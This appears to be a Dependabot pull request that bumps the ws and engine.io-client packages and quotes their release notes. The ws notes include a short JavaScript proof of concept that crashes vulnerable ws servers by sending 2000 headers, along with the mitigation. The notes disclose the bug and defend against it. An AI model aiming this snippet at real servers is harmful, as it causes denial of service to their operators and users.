[dependabot[bot]]

Bumps ws to 8.17.1 and updates ancestor dependency engine.io-client. These dependencies need to be updated together.

Updates ws from 7.4.6 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

Updates engine.io-client from 4.1.4 to 6.6.0

Release notes

Sourced from engine.io-client's releases.

6.6.0

Features

Custom transport implementations

The transports option now accepts an array of transport implementations:

import { Socket, XHR, WebSocket } from "engine.io-client";
const socket = new Socket({
transports: [XHR, WebSocket]
});

Here is the list of provided implementations:

Transport	Description
Fetch	HTTP long-polling based on the built-in fetch() method.
NodeXHR	HTTP long-polling based on the XMLHttpRequest object provided by the xmlhttprequest-ssl package.
XHR	HTTP long-polling based on the built-in XMLHttpRequest object.
NodeWebSocket	WebSocket transport based on the WebSocket object provided by the ws package.
WebSocket	WebSocket transport based on the built-in WebSocket object.
WebTransport	WebTransport transport based on the built-in WebTransport object.

Usage:

Transport	browser	Node.js	Deno	Bun
Fetch	:white_check_mark:	:white_check_mark: (1)	:white_check_mark:	:white_check_mark:
NodeXHR		:white_check_mark:	:white_check_mark:	:white_check_mark:
XHR	:white_check_mark:
NodeWebSocket		:white_check_mark:	:white_check_mark:	:white_check_mark:
WebSocket	:white_check_mark:	:white_check_mark: (2)	:white_check_mark:	:white_check_mark:
WebTransport	:white_check_mark:	:white_check_mark:

(1) since v18.0.0 (2) since v21.0.0

Added in f4d898e and b11763b.

Transport tree-shaking

The feature above also comes with the ability to exclude the code related to unused transports (a.k.a. "tree-shaking"):

import { SocketWithoutUpgrade, WebSocket } from "engine.io-client";
</tr></table>
